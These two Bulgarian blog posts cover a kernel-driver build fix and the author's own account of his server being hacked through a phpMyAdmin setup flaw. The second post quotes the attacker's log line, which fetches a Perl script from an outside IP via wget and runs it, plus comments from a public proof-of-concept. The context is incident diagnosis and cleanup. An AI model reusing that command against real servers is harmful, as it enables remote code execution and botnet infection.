Tag: линукс
Kernel 2.6.32.x и ATI Catalyst (GeekTime)
by Lucifer on Jan.11, 2010, under HowTo, geek time
Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло … дори с последни версии на ядрото на Slackware-а с който работя в къщи.
Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за да открива и 4-те GB RAM и да си направя initrd.gz за да мога да си пускам машината (аз съм гаден параноик и съм я криптирал) …
Всичко мина добре. Влязох като root и махнах стария fglrx.9.12 компилиран за 2.6.29.6.
Стартирах инсталатора … и каква беше изненадата ми, когато вместо “Instalation complete”, получих съобщението “There were errors compiling driver. Please refer to fglrx-install.log”
WTF??? Какви грешки бе!
nano /usr/share/ati/fglrx-install.log
[Message] Kernel Module : Trying to install a precompiled kernel module. [Message] Kernel Module : Precompiled kernel module version mismatched. [Message] Kernel Module : Found kernel module build environment, generating kernel module now. AMD kernel module generator version 2.1 doing Makefile based build for kernel 2.6.x and higher rm -rf *.c *.h *.o *.ko *.GCC* .??* *.symvers make -C /lib/modules/2.6.32.3-smp/build SUBDIRS=/lib/modules/fglrx/build_mod/2.6.x modules make[1]: Entering directory `/usr/src/linux-2.6.32.3' CC [M] /lib/modules/fglrx/build_mod/2.6.x/firegl_public.o In file included from /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:443: /lib/modules/fglrx/build_mod/2.6.x/drm_proc.h: In function ‘FGLDRM__vma_info’: /lib/modules/fglrx/build_mod/2.6.x/drm_proc.h:497: warning: format ‘%08lx’ expects type ‘long unsigned int’, but argument 5 has type ‘phys_addr_t’ /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c: In function ‘KCL_MapPageToPfn’: /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:1586: warning: unused variable ‘bus_addr’ CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_acpi.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_agp.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_debug.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_ioctl.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_io.o /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c: In function ‘KCL_IO_FASYNC_Terminate’: /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: ‘SIGIO’ undeclared (first use in this function) /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: (Each undeclared identifier is reported only once /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: for each function it appears in.) make[2]: *** [/lib/modules/fglrx/build_mod/2.6.x/kcl_io.o] Error 1 make[1]: *** [_module_/lib/modules/fglrx/build_mod/2.6.x] Error 2 make[1]: Leaving directory `/usr/src/linux-2.6.32.3' make: *** [kmod_build] Error 2 build failed with return value 2 [Error] Kernel Module : Failed to compile kernel module - please consult readme.
Какво по …
И отново старото ровене в чичо google … 2 дни без хубаво видео … няма да ви описвам мъките си … докато на някакъв забит пост в някакъв забит форум не намерих как да го оправя … а то се оказа и много просто – явно в новата ядро са отделили част от нещата в нов header file …
Ето и решението step-by-step:
01. Сваляте си драйверите от сайта на ATI.
02. Стартирате run-а с опция –extract
03. Отваряте fglrx-install.nqkakuv_string/common/lib/modules/fglrx/build_mod/kcl_io.c където добавяте:
#include <linux/signal.h>
04. В fglrx-install.nqkakuv-string стартирате sh ./ati-installer.sh 8.5912 –install
05. reboot … and that is all …
Лесно нали? Някъде из нет-а се мотат готови .patch, но нямах време и желание да търся … за това използвах nano … и го направих на ръка … лесно и бързо … веднъж като знаеш какво ти трябва …
Надвявам, се да помогна на някого.
Ваш,
Lucifer
loading...
Hacked …
by Lucifer on Dec.03, 2009, under blog, geek time, misk
Искам да се оплача … от собствената си глупост … и то много да се оплача …
То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!
Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.
След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:
ID USER NI CPU% MEM% VIRT SHR S TIME+ Command 3813 apache 0 65.0 0.1 1776 432 R 1:42.64 ./std 89.137.139.225 0
А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …
Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:
88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181
Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:
# PoC script successfully tested on the following targets: # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1 # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2) # attack requirements: # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5 # and 3.x before 3.1.3.1 according to PMASA-2009-3 # 2) it *seems* this vuln can only be exploited against environments # where the administrator has chosen to install phpMyAdmin following # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx # 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected![]()
Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …
Отново и отново ./std $IP $PORT процеса ме убиваше …
Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.
ps aux | grep apache
ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …
crontab -u apache -e
ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …
Знам, че съм пълен идиот … ама аз съм си такъв …
Ваш,
Lucifer
loading...
